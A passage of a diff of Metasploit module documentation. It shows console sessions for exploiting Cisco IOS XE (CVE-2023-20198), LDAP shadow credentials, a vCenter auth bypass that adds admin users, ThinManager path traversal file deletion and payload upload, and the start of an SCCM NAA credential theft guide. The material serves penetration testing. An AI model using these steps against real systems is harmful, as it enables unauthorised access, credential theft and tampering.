|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
|
||||
```
|
||||
|
||||
### IOS XE 17.06.05 (C8000v)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD show version yes The CLI command to execute.
|
||||
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.108 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
|
||||
[*] Running module against 192.168.86.108
|
||||
|
||||
Cisco IOS XE Software, Version 17.06.05
|
||||
Cisco IOS Software [Bengaluru], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 17.6.5, RELEASE SOFTWARE (fc2)
|
||||
Technical Support: http://www.cisco.com/techsupport
|
||||
Copyright (c) 1986-2023 by Cisco Systems, Inc.
|
||||
Compiled Wed 25-Jan-23 16:07 by mcpre
|
||||
Cisco IOS-XE software, Copyright (c) 2005-2023 by cisco Systems, Inc.
|
||||
All rights reserved. Certain components of Cisco IOS-XE software are
|
||||
licensed under the GNU General Public License ("GPL") Version 2.0. The
|
||||
software code licensed under GPL Version 2.0 is free software that comes
|
||||
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
|
||||
GPL code under the terms of GPL Version 2.0. For more details, see the
|
||||
documentation or "License Notice" file accompanying the IOS-XE software,
|
||||
or the applicable URL provided on the flyer accompanying the IOS-XE
|
||||
software.
|
||||
ROM: IOS-XE ROMMON
|
||||
test_c800v uptime is 1 hour, 43 minutes
|
||||
Uptime for this control processor is 1 hour, 44 minutes
|
||||
System returned to ROM by reload
|
||||
System image file is "bootflash:packages.conf"
|
||||
Last reload reason: reload
|
||||
This product contains cryptographic features and is subject to United
|
||||
States and local country laws governing import, export, transfer and
|
||||
use. Delivery of Cisco cryptographic products does not imply
|
||||
third-party authority to import, export, distribute or use encryption.
|
||||
Importers, exporters, distributors and users are responsible for
|
||||
compliance with U.S. and local country laws. By using this product you
|
||||
agree to comply with applicable laws and regulations. If you are unable
|
||||
to comply with U.S. and local laws, return this product immediately.
|
||||
A summary of U.S. laws governing Cisco cryptographic products may be found at:
|
||||
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
|
||||
If you require further assistance please contact us by sending email to
|
||||
export@cisco.com.
|
||||
License Level:
|
||||
License Type: Perpetual
|
||||
Next reload license Level:
|
||||
Addon License Level:
|
||||
Addon License Type: Subscription
|
||||
Next reload addon license Level:
|
||||
The current throughput level is 10000 kbps
|
||||
Smart Licensing Status: Registration Not Applicable/Not Applicable
|
||||
cisco C8000V (VXE) processor (revision VXE) with 2027875K/3075K bytes of memory.
|
||||
Processor board ID 9VM6T5CQNTE
|
||||
Router operating mode: Autonomous
|
||||
3 Gigabit Ethernet interfaces
|
||||
32768K bytes of non-volatile configuration memory.
|
||||
3965316K bytes of physical memory.
|
||||
11526144K bytes of virtual hard disk at bootflash:.
|
||||
Configuration register is 0x2102
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
|
||||
[*] Running module against 192.168.86.108
|
||||
|
||||
*17:36:50.722 UTC Mon Mar 3 2025
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
|
||||
```
|
||||
@@ -31,6 +31,9 @@ The vulnerable IOS XE versions are:
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
|
||||
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ Allows changing or resetting users' passwords over the LDAP protocol (particular
|
||||
|
||||
Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one.
|
||||
|
||||
This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required.
|
||||
This module works with existing sessions (or relaying), especially for resetting, wherein the target's password is not required.
|
||||
|
||||
## Actions
|
||||
|
||||
@@ -19,14 +19,14 @@ This module works with existing sessions (or relaying), especially for Resetting
|
||||
The required options are based on the action being performed:
|
||||
|
||||
- When resetting a password, you must specify the `TARGET_USER`
|
||||
- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
|
||||
- When changing a password, you must specify the `LDAPUsername` and `LDAPPassword`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
|
||||
- The `NEW_PASSWORD` option must always be provided
|
||||
|
||||
**USERNAME**
|
||||
**LDAPUsername**
|
||||
|
||||
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
|
||||
|
||||
**PASSWORD**
|
||||
**LDAPPassword**
|
||||
|
||||
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
|
||||
|
||||
|
||||
@@ -65,7 +65,7 @@ PropagationFlags : None
|
||||
## Module usage
|
||||
1. `use auxiliary/admin/ldap/shadow_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller
|
||||
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
3. Set the `LDAPUsername` and `LDAPPassword` information to an account with the necessary privileges
|
||||
4. Set the `TARGET_USER` to the victim account
|
||||
5. Use the `ADD` action to add a credential entry to the victim account
|
||||
|
||||
@@ -109,13 +109,8 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
TARGET_USER yes The target to write to
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
When ACTION is REMOVE:
|
||||
@@ -125,6 +120,24 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
|
||||
DEVICE_ID no The specific certificate ID to operate on
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDAPDomain no The domain to authenticate to
|
||||
LDAPPassword no The password to authenticate with
|
||||
LDAPUsername no The username to authenticate with
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 no The target port
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
@@ -137,12 +150,12 @@ View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
|
||||
username => sandy
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
|
||||
password => Password1!
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapdomain MSF.LOCAL
|
||||
ldapdomain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapusername sandy
|
||||
ldapusername => sandy
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldappassword Password1!
|
||||
ldappassword => Password1!
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
|
||||
target_user => victim
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
@@ -205,7 +218,7 @@ Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661
|
||||
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
@@ -220,7 +233,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
|
||||
Note, however, that attempting to add a second credential will fail under these circumstances:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
@@ -240,7 +253,7 @@ for any legitimate user relying on the existing value.
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
|
||||
action => flush
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
@@ -251,7 +264,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
|
||||
@@ -32,13 +32,13 @@ Add an admin user to the vCenter Server.
|
||||
If you already have the LDAP base DN, you may set it in this option.
|
||||
`dc=vsphere,dc=local` will be used if not set.
|
||||
|
||||
### USERNAME
|
||||
### LDAPUsername
|
||||
|
||||
If you already have a password to authenticate to the LDAP server (see
|
||||
USERNAME), this option let you setup the bind username in DN format (e.g
|
||||
`cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`).
|
||||
|
||||
### PASSWORD
|
||||
### LDAPPassword
|
||||
|
||||
The password to authenticate to the LDAP server, if you have it.
|
||||
|
||||
@@ -55,22 +55,35 @@ Set this to the password for the new admin user.
|
||||
### VMware vCenter Server 6.7 virtual appliance on ESXi (vulnerable target)
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
NEW_PASSWORD yes Password of admin user to add
|
||||
NEW_USERNAME yes Username of admin user to add
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDAPDomain no The domain to authenticate to
|
||||
LDAPPassword no The password to authenticate with
|
||||
LDAPUsername no The username to authenticate with
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 636 no The target port
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -80,6 +93,8 @@ Auxiliary action:
|
||||
Add Add an admin user
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin
|
||||
@@ -136,22 +151,35 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) >
|
||||
### VMware vCenter Server 6.7.0.2 virtual appliance on ESXi (not vulnerable target)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it
|
||||
USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
|
||||
rs,dc=vsphere,dc=local
|
||||
PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
|
||||
NEW_PASSWORD NewPassword123# no Password of admin user to add
|
||||
RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework
|
||||
/wiki/Using-Metasploit
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
NEW_USERNAME MsfAdmin no Username of admin user to add
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
NEW_PASSWORD yes Password of admin user to add
|
||||
NEW_USERNAME yes Username of admin user to add
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDAPDomain no The domain to authenticate to
|
||||
LDAPPassword no The password to authenticate with
|
||||
LDAPUsername no The username to authenticate with
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 636 no The target port
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -161,6 +189,49 @@ Auxiliary action:
|
||||
Add Add an admin user
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
NEW_PASSWORD yes Password of admin user to add
|
||||
NEW_USERNAME yes Username of admin user to add
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDAPDomain no The domain to authenticate to
|
||||
LDAPPassword no The password to authenticate with
|
||||
LDAPUsername no The username to authenticate with
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 636 no The target port
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Add Add an admin user
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
|
||||
[*] Running module against 192.168.3.32
|
||||
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2915) to delete an arbitrary file from the
|
||||
system.
|
||||
|
||||
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
|
||||
|
||||
## Testing
|
||||
|
||||
The software can be obtained from
|
||||
[the vendor](https://thinmanager.com/downloads/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- ThinManager v13.1.0 on Windows 22H2
|
||||
- ThinManager v13.0.1 on Windows 22H2
|
||||
- ThinManager v13.0.0 on Windows 22H2
|
||||
- ThinManager v12.1.5 on Windows 22H2
|
||||
- ThinManager v10.0.2 on Windows 22H2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and run the application
|
||||
2. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/thinmanager_traversal_delete
|
||||
msf6 auxiliary(gather/thinmanager_traversal_delete) > set RHOSTS <IP>
|
||||
msf6 auxiliary(gather/thinmanager_traversal_delete) > set FILE <file to delete>
|
||||
msf6 auxiliary(gather/thinmanager_traversal_delete) > run
|
||||
```
|
||||
|
||||
This should delete the file as specified through FILE from the remote server.
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
The file to delete from the remote server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/thinmanager_traversal_delete) > run
|
||||
[*] Running module against 192.168.137.229
|
||||
|
||||
[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
|
||||
[*] 192.168.137.229:2031 - Sending handshake...
|
||||
[*] 192.168.137.229:2031 - Received handshake response.
|
||||
[*] 192.168.137.229:2031 - Deleting /Windows/win.ini from 192.168.137.229
|
||||
[+] 192.168.137.229:2031 - Received response from target.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27855) to upload an arbitrary file to the target
|
||||
system.
|
||||
|
||||
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
|
||||
|
||||
## Testing
|
||||
|
||||
The software can be obtained from
|
||||
[the vendor](https://thinmanager.com/downloads/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- ThinManager v13.0.1 on Windows 22H2
|
||||
- ThinManager v13.0.0 on Windows 22H2
|
||||
- ThinManager v12.1.5 on Windows 22H2
|
||||
- ThinManager v10.0.2 on Windows 22H2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and run the application
|
||||
2. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set RHOSTS <IP>
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set LFILE <local file location>
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set RFILE <remote file location>
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
|
||||
```
|
||||
|
||||
This should upload the local file specified through LFILE to the server, as specified in RFILE.
|
||||
|
||||
## Options
|
||||
|
||||
### LFILE
|
||||
Specifies the local file to upload to the remote server.
|
||||
|
||||
### RFILE
|
||||
Specifies the remote file location where the file will be uploaded to.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
|
||||
[*] Running module against 192.168.137.227
|
||||
|
||||
[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
|
||||
[*] 192.168.137.227:2031 - Sending handshake...
|
||||
[*] 192.168.137.227:2031 - Received handshake response.
|
||||
[*] 192.168.137.227:2031 - Read 27648 bytes from /tmp/payload.exe
|
||||
[*] 192.168.137.227:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
|
||||
[*] 192.168.137.227:2031 - Upload request length: 27752 bytes
|
||||
[!] 192.168.137.227:2031 - No response received after upload.
|
||||
[+] 192.168.137.227:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,62 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2917) to upload an arbitrary file to the target
|
||||
system.
|
||||
|
||||
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
|
||||
|
||||
## Testing
|
||||
|
||||
The software can be obtained from
|
||||
[the vendor](https://thinmanager.com/downloads/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- ThinManager v13.1.0 on Windows 22H2
|
||||
- ThinManager v13.0.1 on Windows 22H2
|
||||
- ThinManager v12.0.0 on Windows 22H2
|
||||
- ThinManager v12.1.5 on Windows 22H2
|
||||
- ThinManager v12.0.4 on Windows 22H2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and run the application
|
||||
2. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
|
||||
```
|
||||
|
||||
This should upload the local file specified through LFILE to the server, as specified in RFILE.
|
||||
|
||||
## Options
|
||||
|
||||
### LFILE
|
||||
Specifies the local file to upload to the remote server.
|
||||
|
||||
### RFILE
|
||||
Specifies the remote file location where the file will be uploaded to.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against ThinManager v13.1.0 on Windows 22H2 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
|
||||
[*] Running module against 192.168.137.229
|
||||
|
||||
[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
|
||||
[*] 192.168.137.229:2031 - Sending handshake...
|
||||
[*] 192.168.137.229:2031 - Received handshake response.
|
||||
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
|
||||
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
|
||||
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
|
||||
[!] 192.168.137.229:2031 - No response received after upload.
|
||||
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,150 @@
|
||||
## NAA Credential Exploitation
|
||||
|
||||
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
|
||||
in practice is often misconfigured to have excessive privileges.
|
||||
|
||||
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
|
||||
it can also be requested by an existing computer account, which by default most user accounts are able to create.
|
||||
|
||||
|
||||
## Module usage
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_account`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used:
|
||||
|
||||
1. `use auxiliary/admin/sccm/get_naa_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used)
|
||||
3. Set the `USERNAME` and `PASSWORD` information to a domain account
|
||||
4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
|
||||
5. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery:
|
||||
|
||||
1. `use auxiliary/admin/sccm/get_naa_credentials`
|
||||
2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
|
||||
3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values.
|
||||
4. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
|
||||
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
|
||||
|
||||
### COMPUTER_USER, COMPUTER_PASSWORD
|
||||
|
||||
Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of
|
||||
a computer account, you can use that for COMPUTER_PASSWORD.
|
||||
|
||||
### MANAGEMENT_POINT
|
||||
The SCCM server.
|
||||
|
||||
### SITE_CODE
|
||||
The Site Code of the management point.
|
||||
|
||||
## Scenarios
|
||||
In the following example the user `ssccm.lab\eve` is a low-privilege user.
|
||||
|
||||
### Creating computer account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:445 - Adding computer
|
||||
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$
|
||||
[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
|
||||
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Running with Autodiscovery
|
||||
Using the credentials just obtained with the `samr_account` module.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > options
|
||||
|
||||
Module options (auxiliary/admin/sccm/get_naa_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
